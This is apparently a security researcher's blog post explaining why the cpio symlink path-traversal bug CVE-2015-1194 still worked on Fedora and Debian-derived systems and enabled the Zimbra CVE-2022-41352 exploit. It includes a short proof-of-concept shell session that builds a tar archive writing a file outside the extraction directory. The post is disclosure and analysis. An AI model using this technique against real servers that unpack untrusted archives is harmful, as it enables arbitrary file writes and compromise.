Last year, I worked on a vulnerability in Zimbra
(CVE-2022-41352 - my
AttackerKB analysis for Rapid7)
that turned out to be a new(-ish) exploit path for a really old bug in
CVE-2015-1194. But that was patched in 2019, so what happened?
(I posted this as a tweet-thread awhile back, but I decided to flesh it out and make it into a full blog post!)
cpio is an archive tool commonly used for system-level stuff (firmware images
and such). It can also extract other format, like
.tar, which we’ll use since
it’s more familiar.
cpio has a flag (
--no-absolute-filenames), off by default,
that purports to prevent writing files outside of the target directory. That’s
handy when, for example, extracting untrusted files with Amavis
(like Zimbra does).
The problem is, symbolic links can point to absolute paths, and therefore, even
--no-absolute-filenames, there was no safe way to extract an untrusted
archive (outside of using a
chroot environment or something similar, which
they really ought to do).
Much later, in 2019, the
cpio team released
cpio version 2.13, which
includes a patch for
with unit tests and everything.
Some (not all) modern OSes include the patched version of cpio, which should be the end of the story, but it’s not!
I’m currently writing this on Fedora 35, so let’s try exploiting it. We can
confirm that the version of
cpio installed with the OS is, indeed, the fixed
ron@fedora ~ $ cpio --version cpio (GNU cpio) 2.13 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by Phil Nelson, David MacKenzie, John Oleynick, and Sergey Poznyakoff.
That means that we shouldn’t be able to use symlinks to write outside of the
target directory, so let’s create a
.tar file that includes a symlink and a
file written through that symlink (this is largely copied from
this mailing list post:
ron@fedora ~ $ mkdir cpiotest ron@fedora ~ $ cd cpiotest ron@fedora ~/cpiotest $ ln -s /tmp/ ./demo ron@fedora ~/cpiotest $ echo 'hello' > demo/imafile ron@fedora ~/cpiotest $ tar -cvf demo.tar demo demo/imafile demo demo/imafile ron@fedora ~/cpiotest $ rm -f demo /tmp/imafile
So now we have a
.tar with a symlink that goes outside the directory:
ron@fedora ~/cpiotest $ tar -tvf ./demo.tar lrwxrwxrwx ron/ron 0 2023-01-13 15:03 demo -> /tmp/ -rw-r--r-- ron/ron 6 2023-01-13 15:03 demo/imafile
In theory, we shouldn’t be able to extract that. Certainly, we can’t with the
ron@fedora ~/cpiotest $ tar -xvf ./demo.tar demo demo/imafile tar: demo/imafile: Cannot open: Not a directory tar: Exiting with failure status due to previous errors
And we shouldn’t be able to with
cpio, since it’s patched…. right?
ron@fedora ~/cpiotest $ cpio -i -d --no-absolute-filenames --verbose < ./demo.tar demo demo/imafile 4 blocks ron@fedora ~/cpiotest $ ls demo@ demo.tar ron@fedora ~/cpiotest $ ls -l /tmp/imafile -rw-r--r--. 1 ron ron 6 Jan 13 15:09 /tmp/imafile
Wait, what’s happening? This messed me up for awhile! By all accounts, the
current version of
cpio on a nearly-current version of Fedora shouldn’t be
vulnerable, but it is!
I did some spelunking into the source RPMs and DEBs, and found that both Red Hat and Debian (and all derived OSes) specifically remove the patch, citing this forum post where somebody ran into a bug with initrd!
The mailing list post, from 2019, says they’ll look into how to fix this, but as
far as I can tell, nobody ever did. I imagine that removing
--no-absolute-filenames would fix it, but I don’t think anybody actually
looked into this.
Years later, we come to find out that Zimbra uses Amavis, which uses
default (if pax isn’t installed). We found it out because somebody got
exploited, and was kind enough to
post details about the compromise.
Since I had seen and written about
a very similar vulnerability recently, I recognized what was going on in the
forum post. The biggest hurdle was the confusion about why modern systems are
Zimbra did roll out a fix eventually - specifically, Zimbra now requires the
pax executable, which is not vulnerable. We
wrote a blog about this back in October when it was new.
One more fun fact.. Ubuntu 18.04 (and as far as I can tell, ONLY Ubuntu 18.04)
backported the patch to cpio 2.12, which really confused my research! I just
happened to be testing Zimbra on Ubuntu 18.04, which includes
2.12, which should be vulnerable, but it wasn’t!
It took me awhile to unravel all the weirdness, and I’m happy to report that it’s all sorted out now.